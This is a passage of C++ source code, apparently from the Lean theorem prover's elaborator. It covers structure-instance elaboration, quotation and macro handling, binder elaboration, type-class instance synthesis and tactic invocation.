2)) { return some_expr(app_arg(e)); } return none_expr(); }); fval = mk_app(default_val, args); fval = head_beta_reduce(fval); } /* For example, monad defaults applicative.seq in terms of map and bind. However, since map is part * of the subobject to_applicative as well, we get the recursive constraint * `?seq =?= monad.seq._default {to_functor := {map := ?map, ...}, seq := ?seq, ...} ?bind ...` * We need to remove this occurrence to please the occurs check when assigning the metavariable. */ if (m_use_subobjects) fval = reduce_projections_visitor(m_ctx)(fval); return fval; } }); } /** Recurse over structure hierarchy and build structure expression, introducing mvars for each parameter and leaf field. Example: `create_field_mvars('applicative') = (applicative.mk ?p1 (functor.mk ?p2 ?f1 ?f2...) ?f3..., applicative ?p1)` */ std::pair<expr, expr> create_field_mvars(name const & nested_S_name) { buffer<name> c_names; get_intro_rule_names(m_env, nested_S_name, c_names); lean_assert(c_names.size() == 1); expr c = m_elab.visit_const_core(copy_tag(m_e, mk_constant(c_names[0]))); buffer<expr> c_args; expr c_type = m_elab.infer_type(c); unsigned nparams = *inductive::get_num_params(m_env, nested_S_name); // iterate over nested_S_name's constructor parameters for (unsigned i = 0; is_pi(c_type); i++) { name S_fname = deinternalize_field_name(binding_name(c_type)); expr c_arg; expr d = binding_domain(c_type); if (i < nparams) { /* struct type parameter */ if (is_explicit(binding_info(c_type)) && !m_expected_type) { m_elab.report_or_throw(elaborator_exception(m_e, sstream() << "invalid structure value {...}, structure parameter '" << binding_name(c_type) << "' is explicit in the structure constructor '" << c_names[0] << "' and the expected type is not known")); } c_arg = m_elab.mk_metavar(d, m_ref); } else { /* struct field */ c_arg = m_elab.mk_metavar(S_fname.append_before("?"), d, m_ref); m_field_mvars.push_back(c_arg); /* Try to find field value, in the following order: * 1) explicit value from m_fvalues * 2) subobject field: recurse * 3) value from source * 4) opt/auto/implicit param * 6) `..` catchall: placeholder */ auto it = std::find(m_fnames.begin(), m_fnames.end(), S_fname); if (it != m_fnames.end()) { /* explicitly passed field */ m_fnames_used.insert(S_fname); expr const & p = m_fvalues[it - m_fnames.begin()]; m_field2elab.insert(S_fname, [=](expr const & d) { auto d2 = consume_auto_opt_param(d); auto e = m_elab.visit(p, some_expr(d2)); if (auto e2 = m_elab.ensure_has_type(e, m_elab.infer_type(e), d2, p)) { return *e2; } else { return e; } }); } else if (auto p = is_subobject_field(m_env, nested_S_name, S_fname)) { /* subobject field */ auto old_field_mvars_size = m_field_mvars.size(); auto num_used = m_fnames_used.size(); auto old_missing_fields = m_missing_fields; auto nested = create_field_mvars(*p); if (m_fnames_used.size() == num_used && field_from_source(S_fname)) { // If the subobject doesn't contain any explicitly passed fields, we prefer to use // its value directly from a source so that the two are definitionally equal m_field_mvars.resize(old_field_mvars_size); } else if (!is_explicit(binding_info(c_type)) && m_fnames_used.size() == num_used && old_missing_fields.size() < m_missing_fields.size()) { // If the subobject is a superclass, doesn't contain any explicitly passed fields, // and has missing fields, we fall back to type inference m_field2elab.insert(S_fname, [=](expr const & d) { return m_elab.mk_instance(d, m_ref); }); m_missing_fields = old_missing_fields; m_field_mvars.resize(old_field_mvars_size); } else { // We assign the subtree to the mvar eagerly so that the mvars representing the nested // structure parameters are assigned, which are not inlcuded in the m_mvar2field dependency // tracking lean_always_assert(m_elab.is_def_eq(c_arg, nested.first)); // should always hold because `nested.first` is a constructor application lean_always_assert(m_elab.is_mvar_assigned(c_arg)); } } else if (field_from_source(S_fname)) { } else if (has_default_value(m_env, m_S_name, S_fname)) { // note: S_name instead of nested_S_name field_from_default_value(S_fname); } else if (is_auto_param(d)) { /* auto param */ m_field2elab.insert(S_fname, [=](expr const & d) { if (m_elab.m_in_pattern) { // insert placeholder during pattern elaboration return m_elab.mk_metavar(d, m_ref); } else { auto p = is_auto_param(d); return m_elab.mk_auto_param(p->second, p->first, m_ref); } }); } else if (!is_explicit(binding_info(c_type))) { /* implicit field */ m_field2elab.insert(S_fname, [=](expr const & d) { return binding_info(c_type).is_inst_implicit() ? m_elab.mk_instance(d, m_ref) : m_elab.mk_metavar(d, m_ref); }); } else if (m_info.m_catchall) { /* catchall: insert placeholder */ m_field2elab.insert(S_fname, [=](expr const & d) { return m_elab.mk_metavar(d, m_ref); }); } else { /* failure */ // Do not log an error immediately because subobjects may need backtracking m_missing_fields.push_back(S_fname); m_field2elab.insert(S_fname, [=](expr const & d) { return m_elab.mk_sorry(some_expr(d), m_ref); }); } m_field2mvar.insert(S_fname, c_arg); m_mvar2field.insert(mlocal_name(c_arg), S_fname); } c_args.push_back(c_arg); c_type = instantiate(binding_body(c_type), c_arg); } return mk_pair(mk_app(c, c_args), c_type); } void elaborate_sources() { for (expr src : m_info.m_sources) { lean_assert(!m_elab.m_in_pattern); src = m_elab.visit(src, none_expr()); m_elab.synthesize_type_class_instances(); expr type = m_elab.instantiate_mvars(m_elab.whnf(m_elab.infer_type(src))); expr src_S = get_app_fn(type); if (!is_constant(src_S) || !is_structure(m_env, const_name(src_S))) { auto pp_fn = m_elab.mk_pp_ctx(); m_elab.report_or_throw(elaborator_exception(m_e, format("invalid structure notation source, not a structure") + m_elab.pp_indent(pp_fn, src) + line() + format("which has type") + m_elab.pp_indent(pp_fn, type))); } else { m_sources.push_back(source {copy_tag(src, mk_as_is(src)), const_name(src_S)}); } } } void find_structure_name() { if (m_expected_type) { expr type = m_elab.whnf(*m_expected_type); expr S = get_app_fn(type); if (!is_constant(S) || !is_structure(m_env, const_name(S))) { auto pp_fn = m_elab.mk_pp_ctx(); throw elaborator_exception(m_e, format("invalid structure value {...}, expected type is known, " "but it is not a structure") + m_elab.pp_indent(pp_fn, *m_expected_type)); } m_S_name = const_name(S); } else if (m_sources.size() == 1 && !m_info.m_catchall) { m_S_name = m_sources[0].m_S_name; } else { throw elaborator_exception(m_e, "invalid structure value {...}, expected type is not known" "(solution: use qualified structure instance { struct_id . ... }"); } } void insert_field_values() { for (expr e : m_field_mvars) { if (!m_mvar2field.contains(mlocal_name(e))) continue; name S_fname = m_mvar2field[mlocal_name(e)]; name full_S_fname = m_S_name + S_fname; e = m_elab.instantiate_mvars(e); if (!is_metavar(e)) continue; expr expected_type = m_elab.infer_type(e); expr val = (*m_field2elab.find(S_fname))(expected_type); expr val_type = m_elab.infer_type(val); if (m_ctx.match(e, val)) { trace_elab_detail(tout() << "inserted field '" << S_fname << "' with value '" << val << "'" << "\n";) } else { format msg = format("type mismatch at field '") + format(S_fname) + format("'"); msg += m_elab.pp_type_mismatch(val, val_type, expected_type); m_elab.report_or_throw(elaborator_exception(val, msg)); } } } public: visit_structure_instance_fn(elaborator & m_elab, expr const & e, optional<expr> const & expected_type) : m_elab(m_elab), m_e(e), m_expected_type(expected_type) {} expr operator()() { if (!m_S_name.is_anonymous() && !is_structure(m_elab.env(), m_S_name)) throw elaborator_exception(m_e, sstream() << "invalid structure instance, '" << m_S_name << "' is not the name of a structure type"); lean_assert(m_fnames.size() == m_fvalues.size()); elaborate_sources(); if (m_S_name.is_anonymous()) find_structure_name(); if (is_private(m_env, m_S_name) && !is_expr_aliased(m_env, m_S_name)) throw elaborator_exception(m_e, "invalid structure instance, type is a private structure"); expr e2, c_type; std::tie(e2, c_type) = create_field_mvars(m_S_name); /* Report missing fields. */ for (name const & S_fname : m_missing_fields) { m_elab.report_or_throw(elaborator_exception(m_e, sstream() << "invalid structure value { ... }, field '" << S_fname << "' was not provided")); } /* Check if there are alien fields. */ for (name const & fname : m_fnames) { if (!m_fnames_used.contains(fname)) { m_elab.report_or_throw( elaborator_exception(m_e, sstream() << "invalid structure value { ... }, '" << fname << "'" << " is not a field of structure '" << m_S_name << "'")); } } /* Make sure to unify first to propagate the expected type, we'll report any errors later on. */ bool type_def_eq = !m_expected_type || m_elab.is_def_eq(*m_expected_type, c_type); insert_field_values(); /* Check expected type */ if (!type_def_eq) { throw elaborator_exception(m_ref, format("type mismatch as structure instance") + m_elab.pp_type_mismatch(e2, c_type, *m_expected_type)); } if (m_elab.m_in_pattern) { /* Instantiate all helper mvars introduced by this function. This is important when elaborating patterns because * all mvars left in the final expression are turned into pattern variables by `visit_equation` (see there). * For example, the pattern `{a := a}` will result in the input `m_e = {a := ?a}` and result `e2 = foo.mk ?m` with * the assignment `?m := ?a` from field elaboration. We want the return value to be `foo.mk ?a` regardless of * whether ?a has an assignment (from a dependent pattern) or not. */ e2 = m_elab.instantiate_mvars(e2, [&](expr const & e) { return m_mvar2field.contains(mlocal_name(e)); }); } return e2; } }; expr elaborator::visit_structure_instance(expr const & e, optional<expr> expected_type) { synthesize_type_class_instances(); if (expected_type) { expected_type = instantiate_mvars(*expected_type); if (is_metavar(*expected_type)) expected_type = none_expr(); } return visit_structure_instance_fn(*this, e, expected_type)(); } expr elaborator::visit_expr_quote(expr const & e, optional<expr> const & expected_type) { name x("_x"); expr s = get_expr_quote_value(e); expr q; if (find(s, [](expr const & t, unsigned) { return is_antiquote(t); })) { // antiquotations ~> return `expr` buffer<expr> locals; buffer<expr> substs; s = replace(s, [&](expr const & t, unsigned) { if (is_antiquote(t)) { expr local = mk_local(mk_fresh_name(), x.append_after(locals.size() + 1), mk_expr_placeholder(), binder_info()); locals.push_back(local); substs.push_back(get_antiquote_expr(t)); return some_expr(local); } return none_expr(); }); s = Fun(locals, s); expr new_s = visit(s, none_expr()); if (has_param_univ(new_s)) throw elaborator_exception(e, "invalid quotation, contains universe parameter"); if (has_univ_metavar(new_s)) throw elaborator_exception(e, "invalid quotation, contains universe metavariable"); if (has_local(new_s)) throw elaborator_exception(e, "invalid quotation, contains local constant"); q = mk_elaborated_expr_quote(new_s); q = mk_as_is(q); expr subst_fn = mk_app(mk_explicit(mk_constant(get_expr_subst_name())), mk_bool_tt()); for (expr const & subst : substs) { q = mk_app(subst_fn, q, subst); } } else { // no antiquotations ~> infer `reflected new_s` expr new_s; if (expected_type && is_app_of(*expected_type, get_reflected_name(), 2)) { new_s = visit(s, some_expr(app_arg(app_fn(*expected_type)))); } else { new_s = visit(s, none_expr()); } synthesize(); // try to instantiate all metavars in `new_s`, otherwise reflection will fail expr cls = mk_app(m_ctx, get_reflected_name(), new_s); return mk_instance(cls, e); } return visit(q, expected_type); } expr elaborator::visit_macro(expr const & e, optional<expr> const & expected_type, bool is_app_fn) { if (is_as_is(e)) { return get_as_is_arg(e); } else if (is_anonymous_constructor(e)) { if (is_app_fn) throw elaborator_exception(e, "invalid constructor ⟨...⟩, function expected"); return visit_anonymous_constructor(e, expected_type); } else if (is_prenum(e)) { return visit_prenum(e, expected_type); } else if (is_typed_expr(e)) { return visit_typed_expr(e); } else if (is_choice(e) || is_explicit(e) || is_partial_explicit(e)) { return visit_app_core(e, buffer<expr>(), expected_type, e); } else if (is_by(e)) { return visit_by(e, expected_type); } else if (is_hole(e)) { return visit_hole(e, expected_type); } else if (is_equations(e)) { lean_assert(!is_app_fn); // visit_convoy is used in this case return visit_equations(e); } else if (is_equation(e)) { throw elaborator_exception(e, "unexpected occurrence of equation"); } else if (is_as_pattern(e)) { if (!m_in_pattern) throw elaborator_exception(e, "invalid occurrence of aliasing pattern, it must only occur in patterns"); expr new_rhs = visit(get_as_pattern_rhs(e), expected_type); expr lhs = get_as_pattern_lhs(e); if (!is_def_eq(lhs, new_rhs)) throw elaborator_exception(e, "cannot unify terms of aliasing pattern"); return new_rhs; } else if (is_field_notation(e)) { return visit_field(e, expected_type); } else if (is_expr_quote(e)) { return visit_expr_quote(e, expected_type); } else if (is_inaccessible(e)) { if (is_app_fn) throw elaborator_exception(e, "invalid inaccessible term, function expected"); return visit_inaccessible(e, expected_type); } else if (is_as_atomic(e)) { /* ignore annotation */ expr new_e = visit(get_as_atomic_arg(e), none_expr()); if (is_app_fn) return new_e; /* If the as_atomic macro is not the the function in a function application, then we need to consume implicit arguments. */ return visit_base_app_core(new_e, arg_mask::Default, buffer<expr>(), true, expected_type, e); } else if (is_sorry(e)) { return mk_sorry(expected_type, e, is_synthetic_sorry(e)); } else if (is_structure_instance(e)) { return visit_structure_instance(e, expected_type); } else if (is_frozen_name(e)) { return visit(get_annotation_arg(e), expected_type); } else if (is_annotation(e)) { expr r = visit(get_annotation_arg(e), expected_type); return update_macro(e, 1, &r); } else { buffer<expr> args; for (unsigned i = 0; i < macro_num_args(e); i++) args.push_back(visit(macro_arg(e, i), none_expr())); return update_macro(e, args.size(), args.data()); } } /* If the instance fingerprint has been set, then make sure `type` is not a local instance. Then, add a new local declaration to locals. */ expr elaborator::push_local(type_context_old::tmp_locals & locals, name const & n, expr const & type, binder_info const & binfo, expr const & /* ref */) { #if 0 // TODO(Leo): the following check is too restrictive if (m_ctx.lctx().get_instance_fingerprint() && m_ctx.is_class(type)) { throw elaborator_exception(ref, "invalid occurrence of local instance, it must be a declaration parameter"); } #endif return locals.push_local(n, type, binfo); } /* See method above */ expr elaborator::push_let(type_context_old::tmp_locals & locals, name const & n, expr const & type, expr const & value, expr const & /* ref */) { #if 0 // TODO(Leo): the following check is too restrictive if (m_ctx.lctx().get_instance_fingerprint() && m_ctx.is_class(type)) { throw elaborator_exception(ref, "invalid occurrence of local instance, it must be a declaration parameter"); } #endif return locals.push_let(n, type, value); } expr elaborator::visit_lambda(expr const & e, optional<expr> const & expected_type) { type_context_old::tmp_locals locals(m_ctx); expr it = e; expr ex; bool has_expected; if (expected_type) { ex = instantiate_mvars(*expected_type); has_expected = true; } else { has_expected = false; } while (is_lambda(it)) { if (has_expected) { ex = try_to_pi(ex); if (!is_pi(ex)) has_expected = false; } expr d = instantiate_rev_locals(binding_domain(it), locals); expr new_d = visit(d, none_expr()); if (has_expected) { expr ex_d = binding_domain(ex); try_is_def_eq(new_d, ex_d); } expr ref_d = get_ref_for_child(binding_domain(it), it); new_d = ensure_type(new_d, ref_d); expr l = copy_tag(binding_domain(it), push_local(locals, binding_name(it), new_d, binding_info(it), ref_d)); save_identifier_info(l); it = binding_body(it); if (has_expected) { lean_assert(is_pi(ex)); ex = instantiate(binding_body(ex), l); } } expr b = instantiate_rev_locals(it, locals); expr new_b; if (has_expected) { new_b = visit(b, some_expr(ex)); } else { new_b = visit(b, none_expr()); } synthesize(); expr r = locals.mk_lambda(new_b); return r; } expr elaborator::visit_pi(expr const & e) { type_context_old::tmp_locals locals(m_ctx); expr it = e; expr parent_it = e; while (is_pi(it)) { expr d = instantiate_rev_locals(binding_domain(it), locals); expr new_d = visit(d, none_expr()); expr ref_d = get_ref_for_child(binding_domain(it), it); new_d = ensure_type(new_d, ref_d); expr ref = binding_domain(it); expr l = copy_tag(binding_domain(it), push_local(locals, binding_name(it), new_d, binding_info(it), ref)); save_identifier_info(l); parent_it = it; it = binding_body(it); } expr b = instantiate_rev_locals(it, locals); expr new_b = visit(b, none_expr()); expr ref_b = get_ref_for_child(it, parent_it); new_b = ensure_type(new_b, ref_b); synthesize(); expr r = locals.mk_pi(new_b); return r; } expr elaborator::visit_let(expr const & e, optional<expr> const & expected_type) { expr ref = e; expr new_type = visit(let_type(e), none_expr()); synthesize_no_tactics(); expr new_value = visit(let_value(e), some_expr(new_type)); expr ref_value = get_ref_for_child(let_value(e), ref); new_value = enforce_type(new_value, new_type, "invalid let-expression", ref_value); synthesize(); new_type = instantiate_mvars(new_type); new_value = instantiate_mvars(new_value); ensure_no_unassigned_metavars(new_value); type_context_old::tmp_locals locals(m_ctx); expr l = copy_tag(let_type(e), push_let(locals, let_name(e), new_type, new_value, ref)); save_identifier_info(l); expr body = instantiate_rev_locals(let_body(e), locals); expr new_body = visit(body, expected_type); expr new_e = locals.mk_lambda(new_body); return new_e; } expr elaborator::visit_placeholder(expr const & e, optional<expr> const & expected_type) { expr const & ref = e; expr mvar = mk_metavar(expected_type, ref); if (is_explicit_placeholder(e)) { if (auto pip = get_pos_info_provider()) { if (auto pos = pip->get_pos_info(e)) { m_underscores.insert(mvar, *pos); } } } return mvar; } static bool is_have_expr(expr const & e) { return is_app(e) && is_have_annotation(app_fn(e)) && is_lambda(get_annotation_arg(app_fn(e))); } expr elaborator::strict_visit(expr const & e, optional<expr> const & expected_type) { expr r = visit(e, expected_type); synthesize(); r = instantiate_mvars(r); ensure_no_unassigned_metavars(r); return r; } expr elaborator::visit_have_expr(expr const & e, optional<expr> const & expected_type) { lean_assert(is_have_expr(e)); expr lambda = get_annotation_arg(app_fn(e)); expr type = binding_domain(lambda); expr proof = app_arg(e); expr new_type = visit(type, none_expr()); synthesize_no_tactics(); new_type = ensure_type(new_type, type); expr new_proof = visit(proof, some_expr(new_type)); new_proof = enforce_type(new_proof, new_type, "invalid have-expression", proof); synthesize(); ensure_no_unassigned_metavars(new_proof); type_context_old::tmp_locals locals(m_ctx); expr ref = binding_domain(lambda); push_local(locals, binding_name(lambda), new_type, binding_info(lambda), ref); expr body = instantiate_rev_locals(binding_body(lambda), locals); expr new_body = visit(body, expected_type); expr new_lambda = locals.mk_lambda(new_body); return mk_app(mk_have_annotation(new_lambda), new_proof); } expr elaborator::visit_suffices_expr(expr const & e, optional<expr> const & expected_type) { lean_assert(is_suffices_annotation(e)); expr body = get_annotation_arg(e); if (!is_app(body)) throw elaborator_exception(e, "ill-formed suffices expression"); expr fn = app_fn(body); expr rest = app_arg(body); if (!is_lambda(fn)) throw elaborator_exception(e, "ill-formed suffices expression"); expr new_fn; expr type = binding_domain(fn); expr new_type = visit(type, none_expr()); synthesize_no_tactics(); { type_context_old::tmp_locals locals(m_ctx); expr ref = binding_domain(fn); push_local(locals, binding_name(fn), new_type, binding_info(fn), ref); expr body = instantiate_rev_locals(binding_body(fn), locals); expr new_body = visit(body, expected_type); synthesize(); new_fn = locals.mk_lambda(new_body); } expr new_rest = visit(rest, some_expr(new_type)); new_rest = enforce_type(new_rest, new_type, "invalid suffices-expression", rest); return mk_suffices_annotation(mk_app(new_fn, new_rest)); } static expr mk_emptyc(expr const & src) { return copy_tag(src, mk_constant(get_has_emptyc_emptyc_name())); } expr elaborator::visit_emptyc_or_emptys(expr const & e, optional<expr> const & expected_type) { if (!expected_type) { return visit(mk_emptyc(e), expected_type); } else { synthesize_type_class_instances(); expr new_expected_type = instantiate_mvars(*expected_type); if (is_optional_param(new_expected_type)) new_expected_type = app_arg(app_fn(new_expected_type)); expr S = get_app_fn(new_expected_type); if (is_constant(S) && is_structure(m_env, const_name(S))) { expr empty_struct = copy_tag(e, mk_structure_instance(name(), buffer<name>(), buffer<expr>())); return visit(empty_struct, expected_type); } else { return visit(mk_emptyc(e), expected_type); } } } expr elaborator::visit(expr const & e, optional<expr> const & expected_type) { flet<unsigned> inc_depth(m_depth, m_depth+1); trace_elab_detail(tout() << "[" << m_depth << "] visiting\n" << e << "\n"; if (expected_type) tout() << "expected type:\n" << instantiate_mvars(*expected_type) << "\n";); auto result = recover_expr_from_exception(expected_type, e, [&] () -> expr { if (is_placeholder(e)) { return visit_placeholder(e, expected_type); } else if (is_have_expr(e)) { return copy_tag(e, visit_have_expr(e, expected_type)); } else if (is_suffices_annotation(e)) { return copy_tag(e, visit_suffices_expr(e, expected_type)); } else if (is_no_info(e)) { flet<bool> set(m_no_info, true); return visit(get_annotation_arg(e), expected_type); } else if (is_emptyc_or_emptys(e)) { return visit_emptyc_or_emptys(e, expected_type); } else if (is_sort_wo_universe(e)) { return visit(get_annotation_arg(e), expected_type); } else { switch (e.kind()) { case expr_kind::Var: lean_unreachable(); // LCOV_EXCL_LINE case expr_kind::Meta: return e; case expr_kind::Sort: return copy_tag(e, visit_sort(e)); case expr_kind::Local: return copy_tag(e, visit_local(e, expected_type)); case expr_kind::Constant: return copy_tag(e, visit_constant(e, expected_type)); case expr_kind::Macro: return copy_tag(e, visit_macro(e, expected_type, false)); case expr_kind::Lambda: return copy_tag(e, visit_lambda(e, expected_type)); case expr_kind::Pi: return copy_tag(e, visit_pi(e)); case expr_kind::App: return copy_tag(e, visit_app(e, expected_type)); case expr_kind::Let: return copy_tag(e, visit_let(e, expected_type)); } lean_unreachable(); // LCOV_EXCL_LINE } }); if (m_uses_infom && m_term_goals) { try { if (auto pip = get_pos_info_provider()) { if (auto pos = pip->get_pos_info(e)) { auto type = expected_type ? *expected_type : infer_type(result); type = m_ctx.instantiate_mvars(type); auto s = ::lean::mk_tactic_state_for(m_env, m_opts, m_decl_name, m_ctx.mctx(), m_ctx.lctx(), type); m_info.add_term_goal(*pos, s); } } } catch (exception &) {} } return result; } expr elaborator::get_default_numeral_type() { // TODO(Leo): allow user to modify default? return mk_constant(get_nat_name()); } void elaborator::synthesize_numeral_types() { for (expr const & A : m_numeral_types) { if (is_metavar(instantiate_mvars(A))) { if (!is_def_eq(A, get_default_numeral_type())) report_or_throw(elaborator_exception(A, "invalid numeral, failed to force numeral to be a nat")); } } m_numeral_types = list<expr>(); } bool elaborator::synthesize_type_class_instance_core(expr const & mvar, expr const & inferred_inst, expr const & inst_type) { if (!ready_to_synthesize(inst_type)) return false; metavar_decl mdecl = m_ctx.mctx().get_metavar_decl(mvar); expr ref = mvar; expr synthesized_inst = mk_instance_core(mdecl.get_context(), inst_type, ref); if (!is_def_eq(inferred_inst, synthesized_inst)) { auto pp_fn = mk_pp_ctx(); throw elaborator_exception(mvar, format("synthesized type class instance is not definitionally equal to expression " "inferred by typing rules, synthesized") + pp_indent(pp_fn, synthesized_inst) + line() + format("inferred") + pp_indent(pp_fn, inferred_inst)); } return true; } bool elaborator::try_synthesize_type_class_instance(expr const & mvar) { expr inst = instantiate_mvars(mvar); expr inst_type = instantiate_mvars(infer_type(inst)); return synthesize_type_class_instance_core(mvar, inst, inst_type); } void elaborator::synthesize_type_class_instances_step() { buffer<expr> to_keep; buffer<std::tuple<expr, expr, expr>> to_process; for (expr const & mvar : m_instances) { expr inst = instantiate_mvars(mvar); expr inst_type = instantiate_mvars(infer_type(inst)); if (!ready_to_synthesize(inst_type)) { to_keep.push_back(mvar); } else { to_process.emplace_back(mvar, inst, inst_type); } } if (to_process.empty()) return; expr mvar, inst, inst_type; for (std::tuple<expr, expr, expr> const & curr : to_process) { std::tie(mvar, inst, inst_type) = curr; synthesize_type_class_instance_core(mvar, inst, inst_type); } m_instances = to_list(to_keep); } void elaborator::synthesize_type_class_instances() { while (true) { auto old_instances = m_instances; synthesize_type_class_instances_step(); if (is_eqp(old_instances, m_instances)) return; } } tactic_state elaborator::mk_tactic_state_for(expr const & mvar) { metavar_context mctx = m_ctx.mctx(); metavar_decl mdecl = mctx.get_metavar_decl(mvar); local_context lctx = mdecl.get_context().instantiate_mvars(mctx); lctx = erase_inaccessible_annotations(lctx); expr type = mctx.instantiate_mvars(mdecl.get_type()); type = erase_inaccessible_annotations(type); m_ctx.set_mctx(mctx); return ::lean::mk_tactic_state_for(m_env, m_opts, m_decl_name, mctx, lctx, type); } void elaborator::invoke_tactic(expr const & mvar, expr const & tactic) { expr const & ref = mvar; expr type = m_ctx.mctx().get_metavar_decl(mvar).get_type(); tactic_state s = mk_tactic_state_for(mvar); if (has_synth_sorry({type, tactic})) { // Skip if tactic or goal is broken. It is unlikely we will obtain // any additional useful error messages. m_ctx.assign(mvar, mk_sorry(some_expr(type), ref)); return; } try { scoped_expr_caching scope(true); vm_obj r = tactic_evaluator(m_ctx, m_opts, ref, /* allow_profiler */ true)(tactic, s); expr val; if (auto new_s = tactic::is_success(r)) { metavar_context mctx = new_s->mctx(); bool postpone_push_delayed = true; val = mctx.instantiate_mvars(new_s->main(), postpone_push_delayed); if (has_expr_metavar(val)) { val = recoverable_error(some_expr(type), ref, unsolved_tactic_state(*new_s, "tactic failed, result contains meta-variables", ref)); } m_env = new_s->env(); m_ctx.set_env(m_env); m_ctx.set_mctx(mctx); } else { val = mk_sorry(some_expr(type), ref); m_has_errors = true; } /* assign mvar := val */ expr mvar1 = instantiate_mvars(mvar); if (is_metavar(mvar1)) { /* small optimization: avoid is_def_eq because it infer types and checks whether they are def-eq */ m_ctx.assign(mvar1, val); } else if (!m_ctx.is_def_eq(mvar1, val)) { /* TODO(Leo): improve following error message. It should not happen very often. */ throw exception("tactic failed, type mismatch"); } } catch (std::exception & ex) { if (try_report(ex, some_expr(ref))) { m_ctx.assign(mvar, mk_sorry(some_expr(type), ref)); } else { throw; } } } void elaborator::synthesize_using_tactics() { buffer<expr_pair> to_process; to_buffer(m_tactics, to_process); m_tactics = list<expr_pair>(); for (expr_pair const & p : to_process) { lean_assert(is_metavar(p.first)); invoke_tactic(p.first, p.second); } } void elaborator::synthesize_no_tactics() { synthesize_numeral_types(); synthesize_type_class_instances(); } void elaborator::process_hole(expr const & mvar, expr const & hole) { lean_assert(is_hole(hole)); expr val = instantiate_mvars(mvar); if (!is_metavar(val)) { auto pp_fn = mk_pp_ctx(); throw elaborator_exception(mvar, format("invalid use of hole, type inference and elaboration rules force the hole to be") + pp_indent(pp_fn, val)); } expr ty = m_ctx.instantiate_mvars(m_ctx.infer(mvar)); if (m_uses_infom) { expr args; optional<pos_info> begin_pos, end_pos; std::tie(args, begin_pos, end_pos) = get_hole_info(hole); if (begin_pos && end_pos) { tactic_state s = elaborator::mk_tactic_state_for(val); m_info.add_hole_info(*begin_pos, *end_pos, s, args); /* The following command is a hack to make sure we see the hole's type in Emacs */ m_info.add_identifier_info(*begin_pos, "[goal]"); } } m_ctx.assign(mvar, copy_tag(hole, mk_sorry(ty))); } void elaborator::process_holes() { buffer<expr_pair> to_process; to_buffer(m_holes, to_process); m_holes = list<expr_pair>(); for (expr_pair const & p : to_process) { lean_assert(is_metavar(p.first)); process_hole(p.first, p.second); } } void elaborator::synthesize() { synthesize_numeral_types(); synthesize_type_class_instances(); synthesize_using_tactics(); /* After we execute tactics we may be able to solve more type class resolution problems. We don't need a loop here because synthesize_using_tactics resets m_tactics. */ synthesize_type_class_instances(); process_holes(); } void elaborator::report_error(tactic_state const & s, std::string const & msg, expr const & ref) { auto tc = std::make_shared<type_context_old>(m_env, m_opts, m_ctx.mctx(), m_ctx.lctx()); auto pip = get_pos_info_provider(); if (!pip) return; message_builder out(tc, m_env, get_global_ios(), pip->get_file_name(), pip->get_pos_info_or_some(ref), ERROR); out << msg << "\n" << mk_pair(s.pp(), m_opts); out.report(); m_has_errors = true; } void elaborator::ensure_no_unassigned_metavars(expr & e) { // TODO(gabriel): this needs to change e if (!has_expr_metavar(e)) return; for_each(e, [&](expr const & e, unsigned) { if (!has_expr_metavar(e)) return false; if (is_metavar_decl_ref(e) && !m_ctx.is_assigned(e)) { tactic_state s = mk_tactic_state_for(e); if (m_recover_from_errors) { auto decl = m_ctx.mctx().get_metavar_decl(e); auto ty = decl.get_type(); if (!has_synth_sorry(ty)) { sstream msg; msg << "don't know how to synthesize placeholder"; if (auto pp_name = decl.get_pp_name()) { msg << " (" << *pp_name << ")"; } msg << "\n"; msg << "context:"; report_error(s, msg.str(), e); } if (m_uses_infom) { if (auto pos = m_underscores.find(e)) { expr hole_args = mk_app(mk_constant(get_list_nil_name(), {mk_level_zero()}), mk_app(mk_constant(get_expr_name()), mk_constant(get_bool_ff_name()))); m_info.add_hole_info(*pos, {pos->first, pos->second+1}, s, hole_args); } } m_ctx.assign(e, copy_tag(e, mk_sorry(ty))); ensure_no_unassigned_metavars(ty); auto val = instantiate_mvars(e); ensure_no_unassigned_metavars(val); } else { throw failed_to_synthesize_placeholder_exception(e, s); } } return true; }); e = instantiate_mvars(e); } elaborator::snapshot::snapshot(elaborator const & e) { m_saved_mctx = e.m_ctx.mctx(); m_saved_info = e.m_info; m_saved_instances = e.m_instances; m_saved_numeral_types = e.m_numeral_types; m_saved_tactics = e.m_tactics; m_saved_holes = e.m_holes; } void elaborator::snapshot::restore(elaborator & e) { e.m_ctx.set_mctx(m_saved_mctx); e.m_info = m_saved_info; e.m_instances = m_saved_instances; e.m_numeral_types = m_saved_numeral_types; e.m_tactics = m_saved_tactics; e.m_holes = m_saved_holes; } /** \brief Auxiliary class for creating nice names for universe parameters introduced by the elaborator. This class also transforms remaining universe metavariables into parameters */ struct sanitize_param_names_fn : public replace_visitor { type_context_old & m_ctx; name m_p{"u"}; name_set m_L; /* All parameter names in the input expression. */ unsigned m_idx{1}; buffer<name> & m_new_param_names; /* If m_fixed == true, then we do not introduce new parameters. Remark: we should be able to infer the set of universe variables using just the theorem type. */ bool m_fixed; sanitize_param_names_fn(type_context_old & ctx, buffer<name> & new_lp_names): m_ctx(ctx), m_new_param_names(new_lp_names), m_fixed(false) {} sanitize_param_names_fn(type_context_old & ctx, elaborator::theorem_finalization_info const & info, buffer<name> & new_lp_names): m_ctx(ctx), m_L(info.m_L), m_new_param_names(new_lp_names), m_fixed(true) {} level mk_param() { while (true) { name new_n = m_p.append_after(m_idx); m_idx++; if (!m_L.contains(new_n)) { m_new_param_names.push_back(new_n); return mk_param_univ(new_n); } } } level sanitize(level const & l) { name p("u"); return replace(l, [&](level const & l) -> optional<level> { if (is_meta(l)) { if (is_metavar_decl_ref(l) && m_ctx.is_assigned(l)) { return some_level(sanitize(*m_ctx.get_assignment(l))); } else { auto p = m_fixed ? mk_level_zero() : mk_param(); m_ctx.assign(l, p); return some_level(p); } } return none_level(); }); } virtual expr visit_constant(expr const & e) override { return update_constant(e, map(const_levels(e), [&](level const & l) { return sanitize(l); })); } virtual expr visit_sort(expr const & e) override { return update_sort(e, sanitize(sort_level(e))); } void collect_params(expr const & e) { m_L = collect_univ_params(e, m_L); } void collect_local_context_params() { m_ctx.lctx().for_each([&](local_decl const & l) { collect_params(m_ctx.instantiate_mvars(l.get_type())); if (auto v = l.get_value()) collect_params(m_ctx.instantiate_mvars(*v)); }); } expr sanitize(expr const & e) { expr r = operator()(e); return r; } elaborator::theorem_finalization_info mk_info() { return {m_L}; } }; /** When the output of the elaborator may contain meta-variables, we convert the type_context_old level meta-variables into regular kernel meta-variables. */ static expr replace_with_simple_metavars(metavar_context mctx, name_map<expr> & cache, expr const & e) { if (!has_expr_metavar(e)) return e; return 